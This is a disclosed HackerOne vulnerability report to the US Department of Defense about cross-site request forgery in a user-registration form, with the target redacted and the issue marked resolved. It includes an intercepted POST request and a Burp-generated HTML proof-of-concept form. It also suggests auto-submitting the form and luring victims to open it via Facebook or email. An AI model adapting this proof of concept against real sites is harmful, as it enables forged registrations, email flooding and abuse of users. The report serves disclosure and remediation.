CSRF in https://███

Disclosed: 2021-04-20 19:43:41 By blackangel11 To deptofdefense
Medium
Vulnerability Details
Summary:- --------- Cross-Site Request Forgery (CSRF) ## Impact 1-The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. 2-send many request via server i mean request to server and response of server which lead to dos attacks or full the emails of users with message which may select as spam from security of email . 3-Sending a lot of messages may lead to the running out of the website's subscription services to its email server to users or losing the site a lot of money for thousands of activation messages ## System Host(s) █████████ ## Affected Product(s) and Version(s) ## CVE Numbers ## Steps to Reproduce Steps:- -------- 1-go to https://█████████ 2-full input 3-intercept request using burp suite Request:- ------------- ``` POST /███████ HTTP/1.1 Host: ████████ Connection: close Content-Length: 9860 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://████ Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://█████ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 ███ ``` 4-generate csrf poc code and sava it as html file code:- ---------- ```` <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://█████████" method="POST"> <input type="hidden" name="ctl00&#95;ToolkitScriptManager1&#95;HiddenField" value="" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;textboxFirstName" value="df" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;Email" value="dsafhdsk&#64;gmail&#46;com" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;textboxLastName" value="addfsag" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;textboxConfirmEmail" value="dsafhdsk&#64;gmail&#46;com" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;textboxAddress1" value="cairo" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;textboxPhoneNumber" value="████████" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;textboxAddress2" value="cairo" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;textboxCellPhone" value="███████" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;textboxCity" value="cairo" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;textboxOrganizationName" value="dfs" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;dropDownListState" value="KS" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;textboxJobTitle" value="dsf" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;textboxZipCode" value="11311" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;dropDownListSector" value="Federal" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;UserName" value="cairoer55" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;Password" value="Asdfgh123456&#64;" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;ConfirmPassword" value="Asdfgh123456&#64;" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;Question" value="What&#32;was&#32;your&#32;high&#32;school&#32;mascot&#63;" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;Answer" value="cairo" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;CreateUserStepContainer&#36;checkBoxAcceptDisclaimer" value="on" /> <input type="hidden" name="ctl00&#36;masterContentHolder&#36;wizardCreateNewUser&#36;&#95;&#95;CustomNav0&#36;StepNextButton" value="Create&#32;User" /> <input type="hidden" name="&#95;&#95;EVENTTARGET" value="" /> <input type="hidden" name="&#95;&#95;EVENTARGUMENT" value="" /> <input type="hidden" name="&#95;&#95;LASTFOCUS" value="" /> <input type="hidden" name="&#95;&#95;VIEWSTATE" value="████" /> <input type="hidden" name="&#95;&#95;VIEWSTATEGENERATOR" value="6D58E96E" /> <input type="hidden" name="&#95;&#95;VIEWSTATEENCRYPTED" value="" /> <input type="hidden" name="&#95;&#95;EVENTVALIDATION" value="SsnKnjtgFVpxmAM8sF4mFaUo0&#47;QQzHRDsCXtto8KEn9EdQjw36NPtCIZDZxqzMZH7wsoEE6WEMTtGHYPMnOvEw3bdOz2VrVtHRxUVlOwrvX2b97yE4Nvrgxhk2EVJZuWoi01LTcBQ&#47;Y235uT9rLOsOEeKPGNkAfNJc1n7Y&#47;CMOXxN5k3HV45KU9F&#43;reQBp0BdGx9LttbhNB3BygXh3fUhPkSm8vKX3jQg2f43LWWgP&#43;9&#47;gkRRssBDDWvZRKBnTtfGVmGF3bmTL0l2kTdZu&#43;og5HqzxoQsiA5M6f2lIHf4SABPmWa2m2UZUpC30ApCSxFsjyIo5OySNngNcGzWpclbxm6mLhLspHii&#43;exCbnhKiSc1l2Hy4x8cTssV3tfOX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LLAi9iNAtGzV298vKrm8mIY8GsIIHVr28uubWzhwSADvDjHACUhcki0cSZ9lxRxysWsTUK4q9&#43;1PiHKlJF9TGxFmvxHfF2ofDkl0uQghiydkK2NjxdJvoBgGZ5Gcgr9XO7hLq&#47;kwlL8JrEEN19pN815vQxGZwPUTw90cnR9BcGpPO&#47;6xq5Awhbt9&#47;rMTF5YUoEP0tTr7FkvN&#43;Af2&#47;zcYdcge2prVRgajLFRdUxZ6kDrHuMUEdm53WG&#47;71X984X5EtrJctWk&#43;5FnLwWaYcs&#43;x1vs3Jm&#47;S6CJ1H6yz1S6ryKwIkygnwc7rkItHj8PMKh3U0z&#47;2XEATbelKGBTIepMAI1YldyQJ3&#43;R0ZM42ofoO8x9bO9CVAwCYzXqzfx7u7ro8SUeGVLSbpToSgYazFqE6UPnQhj10fWiu02M21Raz9DppGjIgKPY6&#43;Pu&#47;h&#47;6hfMmMqMB9h6BU0&#43;PHV86ju&#43;tpS&#47;CqnH8k2VE&#47;7&#47;wlJHyhVCSfD1Qg90F3JTOgK3KhsFhDFvPgjTZ6&#47;B9hxesXDtaAeIcQXhQM8vT0iLot7dmu8PniqLPlrv5zyLKsm&#43;DiQruFQgAcbZLAhTnN4036Mi6fCR3ZyW9Z4AEzgAkT2pp&#47;4TsDVKxyutEWZqhE7ceqs1SF9JD7qwCJ7NIm1LIfHVx&#47;Es2BEKY5qzc0AKrmbXZ7DJ7gZPsu9GtvcYyOoNm0m&#47;ht0EMGRI82znbgXXPsV87cYiqND&#47;XQfcq2VFFZyoYhVOnVE&#43;LqI" /> <input type="submit" value="Submit request" /> </form> </body> </html> ```` 5-open it in another browser and submit as you see ``` Your account has been created, but before you can login you must first verify your email address. A message has been sent to the email address you specified. Please check your email inbox and follow the instructions in that email to verify your account. ``` you can make code with auto submit scriot to excuted without and action of victem only victem click on html file which can send to him via facebook or email. ## Suggested Mitigation/Remediation Actions put csrf token
Actions
View on HackerOne
Report Stats
  • Report ID: 1090838
  • State: Closed
  • Substate: resolved
  • Upvotes: 14
Share this report